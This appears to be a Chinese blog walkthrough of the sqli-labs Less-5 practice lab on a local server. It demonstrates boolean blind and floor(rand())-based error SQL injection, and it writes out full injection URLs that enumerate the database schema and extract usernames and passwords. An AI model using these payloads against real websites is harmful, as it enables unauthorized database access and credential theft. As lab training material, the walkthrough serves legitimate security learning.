sqli-labs-less-5布尔盲注+错误注入(超详细,小白专属)

Less-5

判断注入点:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1 正常显示,但是与前四关不同,这里只有一句话:you are in,
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ 显示错误,错误:’‘1’’ LIMIT 0,1’,多了一个单引号,
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’–+ 将单引号注释后,显示正常,继续返回一句话you are in,这里可以判断出来,该关卡为布尔型注入,只要对或错两种显示,可以使用布尔盲注解题,但是在操作过程中发现,页面还会返回错误信息,因此还可以使用错误注入解题。

第一种:

布尔盲注

Sql知识点:

Left(a,b):返回字符串a中最左边的b个字符。
Regexp:select a regexp ‘r’ :a与b进行匹配。
Substr(a,b,c):从位置b开始截取a字符中的前c个字符。
Ascii():ascii转换。
a-z的ascii值:97-122

当前数据库名猜解:

进行数据库名长度判断:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and length(database())=‘8’ --+
在这里插入图片描述

测试到8时,显示正确,说明数据库名长度为8
先进行第一位字母猜解:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and left((select database()),1)=‘a’ --+
对第一位字母逐一测试,从a开始,直到返回正确
在这里插入图片描述

http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and left((select database()),1)=‘s’ --+
当测试到s时,返回正确,则确定了第一位字母是s
在这里插入图片描述

进行第二位字母猜解:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and left((select database()),2)=‘se’ --+
方法一致,
在这里插入图片描述

数据库猜解:

由于第一个数据库默认为information_schema,所以我们从第二个数据库开始猜解
对第二个数据库名的首字母猜解:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))=115 --+
对第二个数据库名的第二个字母猜解:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),2,1))=101–+
以此类推,猜解出第二个数据库,

对第三个数据库名的首字母猜解:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 2,1),1,1))=115 --+
依次类推,猜解出所有的数据库

对当前数据库security中的表猜解:

对第一个表名的第一个字母猜解:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1))=101–+
第一个表名的第二个字母:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),2,1))=109–+
以此类推
第二个表名的第一个字母:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))=101–+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))=114–+
以此类推,可以得出所有表名。

对security库中users表的字段进行猜解

猜解第一个字段的第一个字母:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 0,1),1,1))=105–+
方法同上,以此类推,可以得出该表中的所有字段

对security库中users表的username字段中的数据进行猜解:

先猜解第一个数据:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and ascii(substr((select username from security.users limit 0,1),1,1))=68–+
方法同上,依次类推,可以得到所有username字段的数据。

对security库中users表的password字段中的数据进行猜解:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and ascii(substr((select password from security.users limit 0,1),1,1))=68–+
方法同上,可以得到password中的所有数据。

第二种:

报错注入:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ 在最开始进行注入点判断时,虽然没有回显,但是发现有报错,我们可以利用这一点进行报错注入,让信息通过数据库的报错输出
在这里插入图片描述

sql部分知识:

count(*) 统计表中记录的函数,返回表的行数,用于计数
group by() 对条件进行分组
rand() 产生一个0到1之间的随机数
rand(0) 产生有规律的0到1之间的随机数(伪随机)
rand(0)*2 产生有规律的1到2之间的随机数
floor(rand(0)*2) 产生有规律的随机0或1

报错产生条件:

*Select中有count()、floor(rand(0)2)
有 group by floor(rand(0)2)

报错原理:

简单描述一下,group by的工作原理会计算两次后面条件的值,第一次计算在进入虚拟表前,若表中不存在这个值,则准备进行将该值插入至虚拟表,在插入时进行第二次计算,将该值真正插入,但是由于我们设计了一个floor(rand(0)*2) 随机数,这样在group by两次计算时会产生不同的值,导致插入时可能表中已经存在该值,导致出错。

获取当前数据库名:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ union select 1,count(*),concat(database(),’/’,floor(rand(0)*2))x from information_schema.columns group by x --+
在这里插入图片描述

获取security数据库中的所有表名:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ Union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),’/’,floor(rand(0)*2))x from information_schema.columns group by x --+
在这里插入图片描述

获取security数据库中users表中的所有字段名:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ Union select 1,count(*),concat((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),’/’,floor(rand(0)*2))x from information_schema.columns group by x --+
在这里插入图片描述

获取security数据库中users表中的username字段内的所有信息:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ Union select 1,count(*),concat((select username from users limit 1,1),’/’,floor(rand(0)*2))x from security.users group by x–+
在这里插入图片描述

获取security数据库中的users表中的password字段内所有信息:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1’
Union select 1,count(*),concat((select password from users limit 1,1),’/’,floor(rand(0)*2))x from security.users group by x–+
在这里插入图片描述

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值